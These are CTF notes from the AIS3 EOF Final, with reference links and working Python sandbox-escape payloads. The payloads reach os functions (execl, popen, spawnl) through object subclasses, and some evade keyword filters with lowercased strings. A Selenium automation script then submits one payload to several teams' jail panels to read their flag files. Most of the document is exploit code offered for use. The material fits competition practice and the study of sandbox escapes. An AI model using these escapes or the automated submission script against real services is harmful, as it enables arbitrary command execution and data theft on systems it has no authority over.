EOF AIS3 Final

EOF AIS3 Final

tags: CTF AIS3

Reference

https://jzchangmark.wordpress.com/2015/03/05/%E9%80%8F%E9%81%8E-selenium-%E6%93%8D%E4%BD%9C%E4%B8%8B%E6%8B%89%E5%BC%8F%E9%81%B8%E5%96%AE-select/

https://www.qnx.com/developers/docs/7.1/#com.qnx.doc.neutrino.lib_ref/topic/s/spawnl.html

https://github.com/mhchia/practice/blob/master/ctf/final/write_up.md

SSTI: https://www.freebuf.com/articles/network/258136.html https://www.compart.com/en/unicode/U+FF5B https://chinnidiwakar.gitbook.io/githubimport/pentesting-web/ssti-server-side-template-injection

Payload:

print(().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['execl']("/bin/cat", "cat", "./flag.txt"))


print(().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']("cat /flag.txt"))

file = 'FLAG.TXT'
print(().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['execl']("/bin/cat", "cat", file.lower()))

file = 'FLAG.TXT'
command = 'EXECL'
print(().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__[command.lower()]("/bin/cat", "cat", file.lower()))


file = 'FLAG.TXT'
print(().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['spawnl']('P_WAIT', "/bin/cat", "cat", file.lower()))

Script - run_script.py

:::spoiler

import subprocess
import time
import multiprocessing as mp


def cycle(i):
    subprocess.call(['python', 'script.py', '--team', str(i)])

if __name__ == "__main__":
    p1 = mp.Process(target=cycle, args=('1',))
    p2 = mp.Process(target=cycle, args=('2',))
    # p3 = mp.Process(target=cycle, args=('3',))
    # p4 = mp.Process(target=cycle, args=('4',))
    # p5 = mp.Process(target=cycle, args=('5',))
    # p7 = mp.Process(target=cycle, args=('7',))
    # p8 = mp.Process(target=cycle, args=('8',))
    # p9 = mp.Process(target=cycle, args=('9',))
    # p10 = mp.Process(target=cycle, args=('10',))
    # p11 = mp.Process(target=cycle, args=('11',))
    # p12 = mp.Process(target=cycle, args=('12',))
    # p13 = mp.Process(target=cycle, args=('13',))
    # p14 = mp.Process(target=cycle, args=('14',))
    # p15 = mp.Process(target=cycle, args=('15',))
    # p16 = mp.Process(target=cycle, args=('16',))
    # p17 = mp.Process(target=cycle, args=('17',))
    # p18 = mp.Process(target=cycle, args=('18',))
    # p19 = mp.Process(target=cycle, args=('19',))
    # p20 = mp.Process(target=cycle, args=('20',))
    # p21 = mp.Process(target=cycle, args=('21',))
    # p22 = mp.Process(target=cycle, args=('22',))
    # p23 = mp.Process(target=cycle, args=('23',))
    # p24 = mp.Process(target=cycle, args=('24',))
    

    p1.start()
    time.sleep(2)
    p2.start()
    time.sleep(2)
    # p3.start()
    # p4.start()
    # p5.start()
    # p7.start()
    # p8.start()
    # p9.start()
    # p10.start()
    # p11.start()
    # p12.start()
    # p13.start()
    # p14.start()
    # p15.start()
    # p16.start()
    # p17.start()
    # p18.start()
    # p19.start()
    # p20.start()
    # p21.start()
    # p22.start()
    # p23.start()
    # p24.start()

    p1.join()
    p2.join()
    # p3.join()
    # p4.join()
    # p5.join()
    # p7.join()
    # p8.join()
    # p9.join()
    # p10.join()
    # p11.join()
    # p12.join()
    # p13.join()
    # p14.join()
    # p15.join()
    # p16.join()
    # p17.join()
    # p18.join()
    # p19.join()
    # p20.join()
    # p21.join()
    # p22.join()
    # p23.join()
    # p24.join()

:::

Script - script.py

from selenium.webdriver.chrome.options import Options
import time
from http.client import PAYMENT_REQUIRED
from selenium import webdriver
from selenium.webdriver.common.keys import Keys #send keys on keyboard

'''hault the page until it find some label appear on the page'''
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

'''imitate the action that human execute on mouse and keyboard'''
from selenium.webdriver.common.action_chains import ActionChains

'''to do some keyboard instruction-'''
import pyautogui
import time
import argparse

def parse_args():
    parser = argparse.ArgumentParser()
    '''ARM'''
    parser.add_argument('--team', type=str, default='1', help='team id.')

    return parser.parse_args()
    
def read_write_file(type, write_data = None):
    file_path = 'D:/Download/test.txt'
    if type == 'r':
        f = open(file_path, 'r', encoding="utf-8") #u must add encoding parameter
        arr = []
        for line in f.readlines():
            arr.append(line)
        f.close()
        return arr
    elif type == 'a':
        f = open(file_path, 'a', encoding='UTF-8')
        f.write(write_data + '\n')
        f.close()
    elif type == 'refresh':
        f = open(file_path, 'w', encoding='UTF-8')
        f.write('')
        f.close()

args = parse_args() 


from selenium.webdriver.support.wait import WebDriverWait
driver = webdriver.Chrome('D:/Download/chromedriver.exe')
driver.get("http://10.11.0.1:5001/panel")

token = '123'
payload = "print(().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('cat flag.txt').read())"


'''Login'''
text_input = driver.find_element(By.ID, "token")
ActionChains(driver).send_keys_to_element(text_input, token).perform()
driver.find_element(By.TAG_NAME, 'button').click()
time.sleep(5)

'''Choose which team'''
# from selenium.webdriver.support.ui import Select
# select = Select(driver.find_element(By.NAME, 'target'))
# select.select_by_index(0)
# from selenium.webdriver.common.keys import Keys
# for op in select.options:
#     if op.text != '--------passing_baseline_v2---------':
#         css_panel = driver.find_element(By.CLASS_NAME, "CodeMirror")
#         print(css_panel)
#         code_mirror_element = css_panel.find_element(By.XPATH, "/html/body/main/form[2]/p[2]/div/div[1]/textarea")
#         print(code_mirror_element)
#         code_mirror_element.send_keys(Keys.CONTROL + "a")
#     time.sleep(5)
#     print(op.text)

'''Send Payload'''
cursor = driver.find_element(By.XPATH, "//form[@id='jail-form']/p/div/div[6]")
cursor.click()
pyautogui.hotkey('ctrl','a')
pyautogui.hotkey('delete')
ActionChains(driver).send_keys_to_element(cursor, payload).perform()
time.sleep(5)  # Scrolled down by user
driver.find_element(By.XPATH, '/html/body/main/form/button').click()
time.sleep(5)

'''Catch Response & Write to file'''
print(driver.find_element(By.XPATH, '/html/body/div/div/div[2]'))
print(args.team)
# read_write_file('a', 123)